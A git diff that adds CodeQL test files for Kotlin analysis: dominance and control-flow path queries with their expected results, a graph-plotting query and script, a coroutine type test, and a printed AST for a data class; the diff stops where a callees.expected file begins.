diff --git a/java/ql/test/kotlin/library-tests/controlflow/dominance/dominatedByStart.ql b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominatedByStart.ql
new file mode 100644
index 00000000000..b5bdf688996
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominatedByStart.ql
@@ -0,0 +1,16 @@
+// All nodes should be dominated by their associated start node
+import default
+import semmle.code.java.controlflow.Dominance
+
+ControlFlowNode reachableIn(Method func) {
+  result = func.getBody() or
+  result = reachableIn(func).getASuccessor()
+}
+
+from Method func, ControlFlowNode entry, ControlFlowNode node
+where
+  func.getBody() = entry and
+  reachableIn(func) = node and
+  entry != node and
+  not strictlyDominates(func.getBody(), node)
+select func, node
diff --git a/java/ql/test/kotlin/library-tests/controlflow/dominance/dominator.expected b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominator.expected
new file mode 100644
index 00000000000..e08a5248672
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominator.expected
@@ -0,0 +1,157 @@
+| Test.kt:2:43:79:2 | { ... } | Test.kt:3:9:3:18 | var ...; |
+| Test.kt:3:9:3:18 | var ...; | Test.kt:3:17:3:18 | px |
+| Test.kt:3:9:3:18 | x | Test.kt:4:9:4:18 | var ...; |
+| Test.kt:3:17:3:18 | px | Test.kt:3:9:3:18 | x |
+| Test.kt:4:9:4:18 | var ...; | Test.kt:4:17:4:18 | pw |
+| Test.kt:4:9:4:18 | w | Test.kt:5:9:5:18 | var ...; |
+| Test.kt:4:17:4:18 | pw | Test.kt:4:9:4:18 | w |
+| Test.kt:5:9:5:18 | var ...; | Test.kt:5:17:5:18 | pz |
+| Test.kt:5:9:5:18 | z | Test.kt:7:3:7:12 | var ...; |
+| Test.kt:5:17:5:18 | pz | Test.kt:5:9:5:18 | z |
+| Test.kt:7:3:7:12 | j | Test.kt:8:3:8:18 | var ...; |
+| Test.kt:7:3:7:12 | var ...; | Test.kt:7:3:7:12 | j |
+| Test.kt:8:3:8:18 | var ...; | Test.kt:8:17:8:18 | 50 |
+| Test.kt:8:3:8:18 | y | Test.kt:11:3:16:3 | <Expr>; |
+| Test.kt:8:17:8:18 | 50 | Test.kt:8:3:8:18 | y |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:11:3:16:3 | true |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:11:7:11:7 | x |
+| Test.kt:11:3:16:3 | <Expr>; | Test.kt:11:3:16:3 | when ... |
+| Test.kt:11:3:16:3 | true | Test.kt:14:10:16:3 | { ... } |
+| Test.kt:11:3:16:3 | when ... | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:11:7:11:7 | x | Test.kt:11:11:11:11 | 0 |
+| Test.kt:11:7:11:11 | ... > ... | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:11:7:11:11 | ... > ... | Test.kt:11:14:14:3 | { ... } |
+| Test.kt:11:7:11:11 | ... > ... | Test.kt:18:3:18:3 | <Expr>; |
+| Test.kt:11:11:11:11 | 0 | Test.kt:11:7:11:11 | ... > ... |
+| Test.kt:11:14:14:3 | { ... } | Test.kt:12:4:12:4 | <Expr>; |
+| Test.kt:12:4:12:4 | <Expr>; | Test.kt:12:8:12:9 | 20 |
+| Test.kt:12:4:12:9 | ...=... | Test.kt:13:4:13:4 | <Expr>; |
+| Test.kt:12:8:12:9 | 20 | Test.kt:12:4:12:9 | ...=... |
+| Test.kt:13:4:13:4 | <Expr>; | Test.kt:13:8:13:9 | 10 |
+| Test.kt:13:8:13:9 | 10 | Test.kt:13:4:13:9 | ...=... |
+| Test.kt:14:10:16:3 | { ... } | Test.kt:15:4:15:4 | <Expr>; |
+| Test.kt:15:4:15:4 | <Expr>; | Test.kt:15:8:15:9 | 30 |
+| Test.kt:15:8:15:9 | 30 | Test.kt:15:4:15:9 | ...=... |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:18:8:18:8 | x |
+| Test.kt:18:3:18:20 | ...=... | Test.kt:21:3:24:11 | <Expr>; |
+| Test.kt:18:7:18:20 | (...)... | Test.kt:18:3:18:20 | ...=... |
+| Test.kt:18:8:18:8 | x | Test.kt:18:12:18:12 | y |
+| Test.kt:18:8:18:12 | ... + ... | Test.kt:18:7:18:20 | (...)... |
+| Test.kt:18:12:18:12 | y | Test.kt:18:8:18:12 | ... + ... |
+| Test.kt:21:3:24:11 | ... -> ... | Test.kt:21:3:24:11 | true |
+| Test.kt:21:3:24:11 | ... -> ... | Test.kt:21:7:21:7 | x |
+| Test.kt:21:3:24:11 | <Expr>; | Test.kt:21:3:24:11 | when ... |
+| Test.kt:21:3:24:11 | true | Test.kt:24:11:24:11 | z |
+| Test.kt:21:3:24:11 | when ... | Test.kt:21:3:24:11 | ... -> ... |
+| Test.kt:21:7:21:7 | x | Test.kt:21:11:21:11 | 0 |
+| Test.kt:21:7:21:11 | ... < ... | Test.kt:2:2:79:2 | test |
+| Test.kt:21:7:21:11 | ... < ... | Test.kt:21:3:24:11 | ... -> ... |
+| Test.kt:21:7:21:11 | ... < ... | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:21:11:21:11 | 0 | Test.kt:21:7:21:11 | ... < ... |
+| Test.kt:22:4:22:4 | <Expr>; | Test.kt:22:8:22:9 | 40 |
+| Test.kt:22:4:22:9 | ...=... | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:22:8:22:9 | 40 | Test.kt:22:4:22:9 | ...=... |
+| Test.kt:24:11:24:11 | z | Test.kt:24:4:24:11 | return ... |
+| Test.kt:27:3:27:3 | <Expr>; | Test.kt:27:7:27:8 | 10 |
+| Test.kt:27:3:27:8 | ...=... | Test.kt:30:3:33:3 | <Expr>; |
+| Test.kt:27:7:27:8 | 10 | Test.kt:27:3:27:8 | ...=... |
+| Test.kt:30:3:33:3 | ... -> ... | Test.kt:30:7:30:7 | x |
+| Test.kt:30:3:33:3 | <Expr>; | Test.kt:30:3:33:3 | when ... |
+| Test.kt:30:3:33:3 | when ... | Test.kt:30:3:33:3 | ... -> ... |
+| Test.kt:30:7:30:7 | x | Test.kt:30:12:30:12 | 0 |
+| Test.kt:30:7:30:12 | ... (value equals) ... | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:30:7:30:12 | ... (value equals) ... | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:30:12:30:12 | 0 | Test.kt:30:7:30:12 | ... (value equals) ... |
+| Test.kt:30:15:33:3 | { ... } | Test.kt:31:4:31:4 | <Expr>; |
+| Test.kt:31:4:31:4 | <Expr>; | Test.kt:31:8:31:9 | 60 |
+| Test.kt:31:4:31:9 | ...=... | Test.kt:32:4:32:4 | <Expr>; |
+| Test.kt:31:8:31:9 | 60 | Test.kt:31:4:31:9 | ...=... |
+| Test.kt:32:4:32:4 | <Expr>; | Test.kt:32:8:32:9 | 10 |
+| Test.kt:32:8:32:9 | 10 | Test.kt:32:4:32:9 | ...=... |
+| Test.kt:35:3:35:3 | <Expr>; | Test.kt:35:3:35:3 | z |
+| Test.kt:35:3:35:3 | z | Test.kt:35:8:35:8 | x |
+| Test.kt:35:3:35:8 | ...+=... | Test.kt:38:3:41:3 | while (...) |
+| Test.kt:35:8:35:8 | x | Test.kt:35:3:35:8 | ...+=... |
+| Test.kt:38:3:41:3 | while (...) | Test.kt:38:10:38:10 | x |
+| Test.kt:38:10:38:10 | x | Test.kt:38:14:38:14 | 0 |
+| Test.kt:38:10:38:14 | ... > ... | Test.kt:38:17:41:3 | { ... } |
+| Test.kt:38:10:38:14 | ... > ... | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:38:14:38:14 | 0 | Test.kt:38:10:38:14 | ... > ... |
+| Test.kt:38:17:41:3 | { ... } | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:39:4:39:4 | <Expr>; | Test.kt:39:8:39:9 | 10 |
+| Test.kt:39:4:39:9 | ...=... | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:39:8:39:9 | 10 | Test.kt:39:4:39:9 | ...=... |
+| Test.kt:40:4:40:4 | <Expr>; | Test.kt:40:4:40:6 | tmp0 |
+| Test.kt:40:4:40:4 | x | Test.kt:40:4:40:6 | tmp0 |
+| Test.kt:40:4:40:6 | ...=... | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:40:4:40:6 | <Expr>; | Test.kt:40:4:40:6 | <Stmt> |
+| Test.kt:40:4:40:6 | <Expr>; | Test.kt:40:4:40:6 | tmp0 |
+| Test.kt:40:4:40:6 | <Stmt> | Test.kt:40:4:40:6 | { ... } |
+| Test.kt:40:4:40:6 | dec(...) | Test.kt:40:4:40:6 | ...=... |
+| Test.kt:40:4:40:6 | tmp0 | Test.kt:40:4:40:4 | <Expr>; |
+| Test.kt:40:4:40:6 | tmp0 | Test.kt:40:4:40:6 | <implicit coercion to unit> |
+| Test.kt:40:4:40:6 | tmp0 | Test.kt:40:4:40:6 | dec(...) |
+| Test.kt:40:4:40:6 | var ...; | Test.kt:40:4:40:4 | x |
+| Test.kt:40:4:40:6 | { ... } | Test.kt:40:4:40:6 | var ...; |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:43:3:43:3 | z |
+| Test.kt:43:3:43:3 | z | Test.kt:43:8:43:8 | y |
+| Test.kt:43:3:43:15 | ...+=... | Test.kt:73:3:73:3 | <Expr>; |
+| Test.kt:43:8:43:8 | y | Test.kt:43:8:43:15 | (...)... |
+| Test.kt:43:8:43:15 | (...)... | Test.kt:43:3:43:15 | ...+=... |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:73:3:73:3 | z |
+| Test.kt:73:3:73:3 | z | Test.kt:73:8:73:8 | x |
+| Test.kt:73:3:73:16 | ...+=... | Test.kt:77:3:77:3 | <Expr>; |
+| Test.kt:73:8:73:8 | x | Test.kt:73:12:73:12 | y |
+| Test.kt:73:8:73:12 | ... + ... | Test.kt:73:16:73:16 | w |
+| Test.kt:73:8:73:16 | ... + ... | Test.kt:73:3:73:16 | ...+=... |
+| Test.kt:73:12:73:12 | <implicit cast> | Test.kt:73:8:73:12 | ... + ... |
+| Test.kt:73:12:73:12 | y | Test.kt:73:12:73:12 | <implicit cast> |
+| Test.kt:73:16:73:16 | w | Test.kt:73:8:73:16 | ... + ... |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:77:7:77:8 | 40 |
+| Test.kt:77:3:77:8 | ...=... | Test.kt:78:10:78:10 | w |
+| Test.kt:77:7:77:8 | 40 | Test.kt:77:3:77:8 | ...=... |
+| Test.kt:78:10:78:10 | w | Test.kt:78:3:78:10 | return ... |
+| Test.kt:81:25:98:2 | { ... } | Test.kt:83:3:83:12 | var ...; |
+| Test.kt:83:3:83:12 | b | Test.kt:84:3:84:12 | var ...; |
+| Test.kt:83:3:83:12 | var ...; | Test.kt:83:3:83:12 | b |
+| Test.kt:84:3:84:12 | c | Test.kt:85:3:85:3 | <Expr>; |
+| Test.kt:84:3:84:12 | var ...; | Test.kt:84:3:84:12 | c |
+| Test.kt:85:3:85:3 | <Expr>; | Test.kt:85:7:85:7 | 0 |
+| Test.kt:85:3:85:7 | ...=... | Test.kt:86:3:96:3 | while (...) |
+| Test.kt:85:7:85:7 | 0 | Test.kt:85:3:85:7 | ...=... |
+| Test.kt:86:3:96:3 | while (...) | Test.kt:86:9:86:12 | true |
+| Test.kt:86:9:86:12 | true | Test.kt:86:15:96:3 | { ... } |
+| Test.kt:86:15:96:3 | { ... } | Test.kt:87:4:87:4 | <Expr>; |
+| Test.kt:87:4:87:4 | <Expr>; | Test.kt:87:8:87:9 | 10 |
+| Test.kt:87:4:87:9 | ...=... | Test.kt:88:4:91:4 | <Expr>; |
+| Test.kt:87:8:87:9 | 10 | Test.kt:87:4:87:9 | ...=... |
+| Test.kt:88:4:91:4 | ... -> ... | Test.kt:88:8:88:8 | a |
+| Test.kt:88:4:91:4 | <Expr>; | Test.kt:88:4:91:4 | when ... |
+| Test.kt:88:4:91:4 | when ... | Test.kt:88:4:91:4 | ... -> ... |
+| Test.kt:88:8:88:8 | a | Test.kt:88:12:88:14 | 100 |
+| Test.kt:88:8:88:14 | ... > ... | Test.kt:88:17:91:4 | { ... } |
+| Test.kt:88:8:88:14 | ... > ... | Test.kt:92:4:93:9 | <Expr>; |
+| Test.kt:88:12:88:14 | 100 | Test.kt:88:8:88:14 | ... > ... |
+| Test.kt:88:17:91:4 | { ... } | Test.kt:89:5:89:5 | <Expr>; |
+| Test.kt:89:5:89:5 | <Expr>; | Test.kt:89:9:89:10 | 10 |
+| Test.kt:89:5:89:10 | ...=... | Test.kt:90:5:90:5 | <Expr>; |
+| Test.kt:89:9:89:10 | 10 | Test.kt:89:5:89:10 | ...=... |
+| Test.kt:90:5:90:5 | <Expr>; | Test.kt:90:9:90:9 | c |
+| Test.kt:90:9:90:9 | c | Test.kt:90:5:90:9 | ...=... |
+| Test.kt:92:4:93:9 | ... -> ... | Test.kt:92:8:92:8 | a |
+| Test.kt:92:4:93:9 | <Expr>; | Test.kt:92:4:93:9 | when ... |
+| Test.kt:92:4:93:9 | when ... | Test.kt:92:4:93:9 | ... -> ... |
+| Test.kt:92:8:92:8 | a | Test.kt:92:13:92:14 | 10 |
+| Test.kt:92:8:92:14 | ... (value equals) ... | Test.kt:81:2:98:2 | test2 |
+| Test.kt:92:8:92:14 | ... (value equals) ... | Test.kt:93:5:93:9 | break |
+| Test.kt:92:8:92:14 | ... (value equals) ... | Test.kt:94:4:95:12 | <Expr>; |
+| Test.kt:92:13:92:14 | 10 | Test.kt:92:8:92:14 | ... (value equals) ... |
+| Test.kt:93:5:93:9 | break | Test.kt:97:10:97:10 | b |
+| Test.kt:94:4:95:12 | ... -> ... | Test.kt:94:8:94:8 | a |
+| Test.kt:94:4:95:12 | <Expr>; | Test.kt:94:4:95:12 | when ... |
+| Test.kt:94:4:95:12 | when ... | Test.kt:94:4:95:12 | ... -> ... |
+| Test.kt:94:8:94:8 | a | Test.kt:94:13:94:14 | 20 |
+| Test.kt:94:8:94:14 | ... (value equals) ... | Test.kt:95:12:95:12 | c |
+| Test.kt:94:13:94:14 | 20 | Test.kt:94:8:94:14 | ... (value equals) ... |
+| Test.kt:95:12:95:12 | c | Test.kt:95:5:95:12 | return ... |
+| Test.kt:97:10:97:10 | b | Test.kt:97:3:97:10 | return ... |
diff --git a/java/ql/test/kotlin/library-tests/controlflow/dominance/dominator.ql b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominator.ql
new file mode 100644
index 00000000000..701640bf720
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominator.ql
@@ -0,0 +1,9 @@
+import default
+import semmle.code.java.controlflow.Dominance
+
+from Method func, ControlFlowNode dominator, ControlFlowNode node
+where
+  iDominates(dominator, node) and
+  dominator.getEnclosingStmt().getEnclosingCallable() = func and
+  func.getDeclaringType().hasName("Test")
+select dominator, node
diff --git a/java/ql/test/kotlin/library-tests/controlflow/dominance/dominatorExists.expected b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominatorExists.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/kotlin/library-tests/controlflow/dominance/dominatorExists.ql b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominatorExists.ql
new file mode 100644
index 00000000000..34469a686b1
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominatorExists.ql
@@ -0,0 +1,16 @@
+// Every reachable node has a dominator
+import default
+import semmle.code.java.controlflow.Dominance
+
+/** transitive dominance */
+ControlFlowNode reachableIn(Method func) {
+  result = func.getBody() or
+  result = reachableIn(func).getASuccessor()
+}
+
+from Method func, ControlFlowNode node
+where
+  node = reachableIn(func) and
+  node != func.getBody() and
+  not iDominates(_, node)
+select func, node
diff --git a/java/ql/test/kotlin/library-tests/controlflow/dominance/dominatorUnique.expected b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominatorUnique.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/kotlin/library-tests/controlflow/dominance/dominatorUnique.ql b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominatorUnique.ql
new file mode 100644
index 00000000000..eaf75ab7bfa
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominatorUnique.ql
@@ -0,0 +1,11 @@
+// Every reachable node has a dominator
+import default
+import semmle.code.java.controlflow.Dominance
+
+from Method func, ControlFlowNode dom1, ControlFlowNode dom2, ControlFlowNode node
+where
+  iDominates(dom1, node) and
+  iDominates(dom2, node) and
+  dom1 != dom2 and
+  func = node.getEnclosingStmt().getEnclosingCallable()
+select func, node, dom1, dom2
diff --git a/java/ql/test/kotlin/library-tests/controlflow/paths/A.kt b/java/ql/test/kotlin/library-tests/controlflow/paths/A.kt
new file mode 100644
index 00000000000..ce9dfae8407
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/paths/A.kt
@@ -0,0 +1,49 @@
+public class A {
+  fun action() { }
+
+  fun always_dom1() {
+    action()
+  }
+
+  fun always_dom2(b: Boolean) {
+    if (b) { } else { }
+    action()
+  }
+
+  fun always_path(b: Boolean) {
+    if (b) {
+      action()
+    } else {
+      action()
+    }
+  }
+
+  fun always_w_call(b1: Boolean, b2: Boolean) {
+    if (b1) {
+      action()
+    } else if (b2) {
+      always_dom2(b1)
+    } else {
+      always_path(b2)
+    }
+  }
+
+  fun not_always_none() {
+  }
+
+  fun not_always_one(b: Boolean) {
+    if (b) {
+      action()
+    }
+  }
+
+  fun not_always_two(b1: Boolean, b2: Boolean) {
+    if (b1) {
+      if (b2) {
+        action()
+      } else {
+        action()
+      }
+    }
+  }
+}
diff --git a/java/ql/test/kotlin/library-tests/controlflow/paths/paths.expected b/java/ql/test/kotlin/library-tests/controlflow/paths/paths.expected
new file mode 100644
index 00000000000..c3a7d69fa85
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/paths/paths.expected
@@ -0,0 +1,4 @@
+| A.kt:4:3:6:3 | always_dom1 |
+| A.kt:8:3:11:3 | always_dom2 |
+| A.kt:13:3:19:3 | always_path |
+| A.kt:21:3:29:3 | always_w_call |
diff --git a/java/ql/test/kotlin/library-tests/controlflow/paths/paths.ql b/java/ql/test/kotlin/library-tests/controlflow/paths/paths.ql
new file mode 100644
index 00000000000..7216b8e829a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/paths/paths.ql
@@ -0,0 +1,14 @@
+import java
+import semmle.code.java.controlflow.Paths
+
+class PathTestConf extends ActionConfiguration {
+  PathTestConf() { this = "PathTestConf" }
+
+  override predicate isAction(ControlFlowNode node) {
+    node.(MethodAccess).getMethod().hasName("action")
+  }
+}
+
+from Callable c, PathTestConf conf
+where conf.callableAlwaysPerformsAction(c)
+select c
diff --git a/java/ql/test/kotlin/library-tests/controlflow/plot/.gitignore b/java/ql/test/kotlin/library-tests/controlflow/plot/.gitignore
new file mode 100644
index 00000000000..a35ed75fb37
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/plot/.gitignore
@@ -0,0 +1 @@
+outdir/
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/controlflow/plot/nodeGraph.expected b/java/ql/test/kotlin/library-tests/controlflow/plot/nodeGraph.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/kotlin/library-tests/controlflow/plot/nodeGraph.ql b/java/ql/test/kotlin/library-tests/controlflow/plot/nodeGraph.ql
new file mode 100644
index 00000000000..db643a498cb
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/plot/nodeGraph.ql
@@ -0,0 +1,47 @@
+/**
+ * @id test-plot-cfg
+ * @kind graph
+ */
+
+import java
+
+class RelevantNode extends ControlFlowNode {
+  RelevantNode() { this.getLocation().getFile().isSourceFile() }
+}
+
+query predicate nodes(RelevantNode n, string attr, string val) {
+  attr = "semmle.order" and
+  val =
+    any(int i |
+      n =
+        rank[i](RelevantNode p, Location l |
+          l = p.getLocation()
+        |
+          p
+          order by
+            l.getFile().getBaseName(), l.getFile().getAbsolutePath(), l.getStartLine(),
+            l.getStartColumn(), l.getEndLine(), l.getEndColumn(), p.toString()
+        )
+    ).toString()
+}
+
+query predicate edges(RelevantNode pred, RelevantNode succ, string attr, string val) {
+  attr = "semmle.label" and
+  succ = pred.getASuccessor() and
+  val = ""
+  or
+  attr = "semmle.order" and
+  val =
+    any(int i |
+      succ =
+        rank[i](RelevantNode s, Location l |
+          s = pred.getASuccessor() and
+          l = s.getLocation()
+        |
+          s
+          order by
+            l.getFile().getBaseName(), l.getFile().getAbsolutePath(), l.getStartLine(),
+            l.getStartColumn(), l.getEndLine(), l.getEndColumn()
+        )
+    ).toString()
+}
diff --git a/java/ql/test/kotlin/library-tests/controlflow/plot/plot.sh b/java/ql/test/kotlin/library-tests/controlflow/plot/plot.sh
new file mode 100755
index 00000000000..39f68ecb3e4
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/plot/plot.sh
@@ -0,0 +1,3 @@
+codeql database analyze ../basic/basic.testproj --format=dot nodeGraph.ql --output=outdir --rerun
+dot -Tpdf -O outdir/test-plot-cfg.dot
+open outdir/test-plot-cfg.dot.pdf
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/coroutines/coroutine_user.kt b/java/ql/test/kotlin/library-tests/coroutines/coroutine_user.kt
new file mode 100644
index 00000000000..7f84ebb1d29
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/coroutines/coroutine_user.kt
@@ -0,0 +1,3 @@
+import kotlin.coroutines.SuspendFunction0
+
+fun f(x: SuspendFunction0<String>) {}
diff --git a/java/ql/test/kotlin/library-tests/coroutines/test.expected b/java/ql/test/kotlin/library-tests/coroutines/test.expected
new file mode 100644
index 00000000000..52fbf1ab185
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/coroutines/test.expected
@@ -0,0 +1 @@
+| coroutine_user.kt:3:1:3:37 | f | SuspendFunction0<String> |
diff --git a/java/ql/test/kotlin/library-tests/coroutines/test.ql b/java/ql/test/kotlin/library-tests/coroutines/test.ql
new file mode 100644
index 00000000000..190547691aa
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/coroutines/test.ql
@@ -0,0 +1,5 @@
+import java
+
+from Callable c
+where c.fromSource()
+select c, c.getAParamType().toString()
diff --git a/java/ql/test/kotlin/library-tests/data-classes/PrintAst.expected b/java/ql/test/kotlin/library-tests/data-classes/PrintAst.expected
new file mode 100644
index 00000000000..06f6a78ce60
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/data-classes/PrintAst.expected
@@ -0,0 +1,155 @@
+dc.kt:
+#    0| [CompilationUnit] dc
+#    1|   1: [Class] ProtoMapValue
+#    0|     1: [Method] component1
+#    0|       3: [TypeAccess] byte[]
+#    0|       5: [BlockStmt] { ... }
+#    0|         0: [ReturnStmt] return ...
+#    0|           0: [VarAccess] this.bytes
+#    0|             -1: [ThisAccess] this
+#    0|     1: [Method] component2
+#    0|       3: [TypeAccess] String[]
+#    0|         0: [TypeAccess] String
+#    0|       5: [BlockStmt] { ... }
+#    0|         0: [ReturnStmt] return ...
+#    0|           0: [VarAccess] this.strs
+#    0|             -1: [ThisAccess] this
+#    0|     1: [Method] copy
+#    0|       3: [TypeAccess] ProtoMapValue
+#-----|       4: (Parameters)
+#    1|         0: [Parameter] bytes
+#    1|           0: [TypeAccess] byte[]
+#    1|         1: [Parameter] strs
+#    1|           0: [TypeAccess] String[]
+#    1|             0: [TypeAccess] String
+#    0|       5: [BlockStmt] { ... }
+#    0|         0: [ReturnStmt] return ...
+#    0|           0: [ClassInstanceExpr] new ProtoMapValue(...)
+#    0|             -3: [TypeAccess] ProtoMapValue
+#    0|             0: [VarAccess] bytes
+#    0|             1: [VarAccess] strs
+#    0|     1: [Method] toString
+#    0|       3: [TypeAccess] String
+#    0|       5: [BlockStmt] { ... }
+#    0|         0: [ReturnStmt] return ...
+#    0|           0: [StringTemplateExpr] "..."
+#    0|             0: [StringLiteral] ProtoMapValue(
+#    0|             1: [StringLiteral] bytes=
+#    0|             2: [MethodAccess] toString(...)
+#    0|               -1: [TypeAccess] Arrays
+#    0|               0: [VarAccess] this.bytes
+#    0|                 -1: [ThisAccess] this
+#    0|             3: [StringLiteral] , 
+#    0|             4: [StringLiteral] strs=
+#    0|             5: [MethodAccess] toString(...)
+#    0|               -1: [TypeAccess] Arrays
+#    0|               0: [VarAccess] this.strs
+#    0|                 -1: [ThisAccess] this
+#    0|             6: [StringLiteral] )
+#    0|     1: [Method] hashCode
+#    0|       3: [TypeAccess] int
+#    0|       5: [BlockStmt] { ... }
+#    0|         0: [LocalVariableDeclStmt] var ...;
+#    0|           1: [LocalVariableDeclExpr] result
+#    0|             0: [MethodAccess] hashCode(...)
+#    0|               -1: [TypeAccess] Arrays
+#    0|               0: [VarAccess] this.bytes
+#    0|                 -1: [ThisAccess] this
+#    0|         1: [ExprStmt] <Expr>;
+#    0|           0: [AssignExpr] ...=...
+#    0|             0: [VarAccess] result
+#    0|             1: [MethodAccess] plus(...)
+#    0|               -1: [MethodAccess] times(...)
+#    0|                 -1: [VarAccess] result
+#    0|                 0: [IntegerLiteral] 31
+#    0|               0: [MethodAccess] hashCode(...)
+#    0|                 -1: [TypeAccess] Arrays
+#    0|                 0: [VarAccess] this.strs
+#    0|                   -1: [ThisAccess] this
+#    0|         2: [ReturnStmt] return ...
+#    0|           0: [VarAccess] result
+#    0|     1: [Method] equals
+#    0|       3: [TypeAccess] boolean
+#-----|       4: (Parameters)
+#    0|         0: [Parameter] other
+#    0|           0: [TypeAccess] Object
+#    0|       5: [BlockStmt] { ... }
+#    0|         0: [ExprStmt] <Expr>;
+#    0|           0: [WhenExpr] when ...
+#    0|             0: [WhenBranch] ... -> ...
+#    0|               0: [EQExpr] ... == ...
+#    0|                 0: [ThisAccess] this
+#    0|                 1: [VarAccess] other
+#    0|               1: [ReturnStmt] return ...
+#    0|                 0: [BooleanLiteral] true
+#    0|         1: [ExprStmt] <Expr>;
+#    0|           0: [WhenExpr] when ...
+#    0|             0: [WhenBranch] ... -> ...
+#    0|               0: [NotInstanceOfExpr] ... !is ...
+#    0|                 0: [VarAccess] other
+#    0|                 1: [TypeAccess] ProtoMapValue
+#    0|               1: [ReturnStmt] return ...
+#    0|                 0: [BooleanLiteral] false
+#    0|         2: [LocalVariableDeclStmt] var ...;
+#    0|           1: [LocalVariableDeclExpr] tmp0_other_with_cast
+#    0|             0: [CastExpr] (...)...
+#    0|               0: [TypeAccess] ProtoMapValue
+#    0|               1: [VarAccess] other
+#    0|         3: [ExprStmt] <Expr>;
+#    0|           0: [WhenExpr] when ...
+#    0|             0: [WhenBranch] ... -> ...
+#    0|               0: [ValueNEExpr] ... (value not-equals) ...
+#    0|                 0: [VarAccess] this.bytes
+#    0|                   -1: [ThisAccess] this
+#    0|                 1: [VarAccess] tmp0_other_with_cast.bytes
+#    0|                   -1: [VarAccess] tmp0_other_with_cast
+#    0|               1: [ReturnStmt] return ...
+#    0|                 0: [BooleanLiteral] false
+#    0|         4: [ExprStmt] <Expr>;
+#    0|           0: [WhenExpr] when ...
+#    0|             0: [WhenBranch] ... -> ...
+#    0|               0: [ValueNEExpr] ... (value not-equals) ...
+#    0|                 0: [VarAccess] this.strs
+#    0|                   -1: [ThisAccess] this
+#    0|                 1: [VarAccess] tmp0_other_with_cast.strs
+#    0|                   -1: [VarAccess] tmp0_other_with_cast
+#    0|               1: [ReturnStmt] return ...
+#    0|                 0: [BooleanLiteral] false
+#    0|         5: [ReturnStmt] return ...
+#    0|           0: [BooleanLiteral] true
+#    1|     7: [Constructor] ProtoMapValue
+#-----|       4: (Parameters)
+#    1|         0: [Parameter] bytes
+#    1|           0: [TypeAccess] byte[]
+#    1|         1: [Parameter] strs
+#    1|           0: [TypeAccess] String[]
+#    1|             0: [TypeAccess] String
+#    1|       5: [BlockStmt] { ... }
+#    1|         0: [SuperConstructorInvocationStmt] super(...)
+#    1|         1: [BlockStmt] { ... }
+#    1|           0: [ExprStmt] <Expr>;
+#    1|             0: [KtInitializerAssignExpr] ...=...
+#    1|               0: [VarAccess] bytes
+#    1|           1: [ExprStmt] <Expr>;
+#    1|             0: [KtInitializerAssignExpr] ...=...
+#    1|               0: [VarAccess] strs
+#    1|     8: [Method] getBytes
+#    1|       3: [TypeAccess] byte[]
+#    1|       5: [BlockStmt] { ... }
+#    1|         0: [ReturnStmt] return ...
+#    1|           0: [VarAccess] this.bytes
+#    1|             -1: [ThisAccess] this
+#    1|     8: [FieldDeclaration] byte[] bytes;
+#    1|       -1: [TypeAccess] byte[]
+#    1|       0: [VarAccess] bytes
+#    1|     10: [Method] getStrs
+#    1|       3: [TypeAccess] String[]
+#    1|         0: [TypeAccess] String
+#    1|       5: [BlockStmt] { ... }
+#    1|         0: [ReturnStmt] return ...
+#    1|           0: [VarAccess] this.strs
+#    1|             -1: [ThisAccess] this
+#    1|     10: [FieldDeclaration] String[] strs;
+#    1|       -1: [TypeAccess] String[]
+#    1|         0: [TypeAccess] String
+#    1|       0: [VarAccess] strs
diff --git a/java/ql/test/kotlin/library-tests/data-classes/PrintAst.qlref b/java/ql/test/kotlin/library-tests/data-classes/PrintAst.qlref
new file mode 100644
index 00000000000..c7fd5faf239
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/data-classes/PrintAst.qlref
@@ -0,0 +1 @@
+semmle/code/java/PrintAst.ql
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/data-classes/callees.expected b/java/ql/test/kotlin/library-tests/data-classes/callees.expected
new file mode 100644
index 00000000000..c4b66f2d3a0
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/data-classes/callees.expected
